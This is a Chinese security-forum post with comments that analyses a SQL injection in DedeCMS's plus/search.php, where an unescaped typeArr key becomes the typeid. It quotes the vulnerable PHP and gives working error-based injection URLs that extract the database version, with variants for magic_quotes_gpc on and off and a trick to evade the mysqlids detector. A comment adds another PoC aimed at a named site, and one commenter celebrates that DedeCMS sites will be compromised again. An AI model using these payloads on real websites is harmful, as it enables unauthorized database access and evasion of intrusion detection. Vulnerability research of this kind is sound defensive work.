dedecms最新注入分析(可过gpc)
Author:唐门三少
谢绝转载!
0x01简述
前天在微博上看到知道创宇检测到了新的dedecms注入,原文如下:
#0day预警#近日,@知道创宇 监控到多个dedecms注射0day漏洞,经过分析发现,其中有严重且非常容易利用的sql注射0day。我们已积极联系官方并升级KS-WAF、加速乐等产品,请站长密切关注官方信息及网站安全。临时防御方法:1、关闭会员中心并在php.ini里设置magic_quotes_gpc=On 2、删除plus/search.php。
今天在0x50sec上看到了相关的分析文章,大体感觉都没什么问题,但是测试他给出的PoC时,总是失败,感觉有点问题。然后稍微仔细看了下他PoC的内容,居然用@`'`=0这种方式来绕mysqlids!作者肯定没有仔细研究过mysqlids和mysql的用户变量。所以,感觉他的文章不靠谱,自己和几个朋友就研究了下这个漏洞。
0x50sec上的那篇文章,在漏洞原因上的分析大体是对的,但是在细节,和PoC上都有些问题,所以,就有了这篇文章。
0x02漏洞分析
漏洞的原因是typeid未做任何的检测,而且当传入参数$typeArr为数值时,会将$typeArr的key值传为$typeid,从而躲过前面执行转义的代码。下面我们直接来看search.php代码
<?php
/**
*
* 搜索页
*
* @version $Id: search.php 1 15:38 2010年7月8日Z tianya $
* [url=https://www.t00ls.com/space-uid-6000.html]@package[/url] DedeCMS.Site
* @copyright Copyright (c) 2007 - 2010, DesDev, Inc.
* @license [url]http://help.dedecms.com/usersguide/license.html[/url]
* @link [url]http://www.dedecms.com[/url]
*/
require_once(dirname(__FILE__)."/../include/common.inc.php");
require_once(DEDEINC."/arc.searchview.class.php");
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
if(!isset($orderby)) $orderby='';
else $orderby = preg_replace("#[^a-z]#i", '', $orderby);
if(!isset($searchtype)) $searchtype = 'titlekeyword';
else $searchtype = preg_replace("#[^a-z]#i", '', $searchtype);
if(!isset($keyword)){
if(!isset($q)) $q = '';
$keyword=$q;
}
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
//查找栏目信息
if(empty($typeid))
{
$typenameCacheFile = DEDEDATA.'/cache/typename.inc';
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
{
$fp = fopen(DEDEDATA.'/cache/typename.inc', 'w');
fwrite($fp, "<"."?php\r\n");
$dsql->SetQuery("Select id,typename,channeltype From `#@__arctype`");
$dsql->Execute();
while($row = $dsql->GetArray())
{
fwrite($fp, "\$typeArr[{$row['id']}] = '{$row['typename']}';\r\n");
}
fwrite($fp, '?'.'>');
fclose($fp);
}
//引入栏目缓存并看关键字是否有相关栏目内容
require_once($typenameCacheFile);
if(isset($typeArr) && is_array($typeArr))
{
foreach($typeArr as $id=>$typename)
{
$keywordn = str_replace($typename, ' ', $keyword);
if($keyword != $keywordn)
{
$keyword = $keywordn;
$typeid = $id;
break;
}
}
}
}
$keyword = addslashes(cn_substr($keyword,30));
if($cfg_notallowstr !='' && preg_match("#".$cfg_notallowstr."#i", $keyword))
{
ShowMsg("你的搜索关键字中存在非法内容,被系统禁止!","-1");
exit();
}
if(($keyword=='' || strlen($keyword)<2) && empty($typeid))
{
ShowMsg('关键字不能小于2个字节!','-1');
exit();
}
//检查搜索间隔时间
$lockfile = DEDEDATA.'/time.lock.inc';
$lasttime = file_get_contents($lockfile);
if(!empty($lasttime) && ($lasttime + $cfg_search_time) > time())
{
ShowMsg('管理员设定搜索时间间隔为'.$cfg_search_time.'秒,请稍后再试!','-1');
exit();
}
//开始时间
if(empty($starttime)) $starttime = -1;
else
{
$starttime = (is_numeric($starttime) ? $starttime : -1);
if($starttime>0)
{
$dayst = GetMkTime("2008-1-2 0:0:0") - GetMkTime("2008-1-1 0:0:0");
$starttime = time() - ($starttime * $dayst);
}
}
$t1 = ExecTime();
[color=Red]$sp = new SearchView($typeid,$keyword,$orderby,$channeltype,$searchtype,$starttime,$pagesize,$kwtype,$mid);[/color]
[color=Red] $this->TypeLink = new TypeLink($typeid);[/color]
// 通过分词获取关键词
[color=Red] $this->Keywords = $this->GetKeywords($keyword);[/color]
//设置一些全局参数的值
if($this->TypeID=="0"){
$this->ChannelTypeid=1;
}else{
[color=Red] $row =$this->dsql->GetOne("SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}");[/color]
$this->ChannelTypeid=$row['channeltype'];
}
function __construct($typeid)
{
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
$this->indexName = $GLOBALS['cfg_indexname'];
$this->baseDir = $GLOBALS['cfg_basedir'];
$this->modDir = $GLOBALS['cfg_templets_dir'];
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
$this->dsql = $GLOBALS['dsql'];
$this->TypeID = $typeid;
$this->valuePosition = '';
$this->valuePositionName = '';
$this->typeDir = '';
$this->OptionArrayList = '';
//载入类目信息
[color=Red] $query = "SELECT tp.*,ch.typename as ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join `#@__channeltype` ch
on ch.id=tp.channeltype WHERE tp.id='$typeid' ";[/color]
if($typeid > 0)
if($this->TypeID=="0"){
$this->ChannelTypeid=1;
}else{
$row =$this->dsql->GetOne("SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}");
$this->ChannelTypeid=$row['channeltype'];
}
PoC利用
在开启gpc的情况下
http://target/plus/search.php?typeArr[1%20or%20@`'`%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(substring((Select%20(version())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20@`'`]=11&&kwtype=0&q=1111&searchtype=title
在未开启gpc的情况下,虽然利用成功,但是在后面searchview的SQL语句检测中,会被mysqlids检测到,留下日志。
http://target/plus/search.php?typeArr[2'%20and%20@`'`%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(substring((Select%20(version())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20']=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
评论25次
好像很多还要修改语句,自己构造 我等不懂代码的人怎么办- -.
多谢提醒,已经发邮件解释误会了。你是在哪里看到的这个内容的?我没有在他的博客找到
@唐门三少 转载一下作者怎么说的. ===================================== 听说T00LS有人说俺补不靠谱,觉的我写的文章不靠谱没问题撒,可以在我博客上说我不靠谱嘛.跑到一个俺没帐号的地方说俺不靠谱,着实让俺脸红了一下. 本来就是一篇分析文章,既然我分析的 0x50sec.org 给的exp没有错误. @`'`=0这种方式来绕mysqlids!作者肯定没有仔细研究过mysqlids和mysql的用户变量。所以,感觉他的文章不靠谱, 确实没 仔细研究过那个 mysqlids和mysql的用户变量. 但是自己都做过实验的. 错误之处是 "即使" 和 "也" 这三个字. 下面这个exp只能在 magic_quotes_gpc = On下利用成功. 因为 magic_quotes_gpc = On 的时候 @`'` 会变成 @`\'`,那个 唐门三少 测试环境是什么样的? 是表达的不严谨而已. ============================================ 利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用. 本帖隐藏的内容 http://www.hackme.info/plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title 如果自己有判断力的话,就可以一下指出为什么poc没利用成功.
太牛了,争了几个星期的漏洞,被解密了。
膜拜各种大牛各种分析。
来学xi的 感谢分享
这个可以有啊,分析透彻。
这个牛啊..分析的很详细,谢谢
DEDE 后台基本都该。0 0 不过还是膜拜下。
呵呵,太好了,DEDE又要沦陷了!
学xi
哦 原来是这样
赞,原理分析的很到位
神一般的人物。。。。。。
太牛了,争了几个星期的漏洞,被解密了。
嗯 喜欢各种分析
这个真的可以有!
这个可以有呀, mark 下来回头 有用得着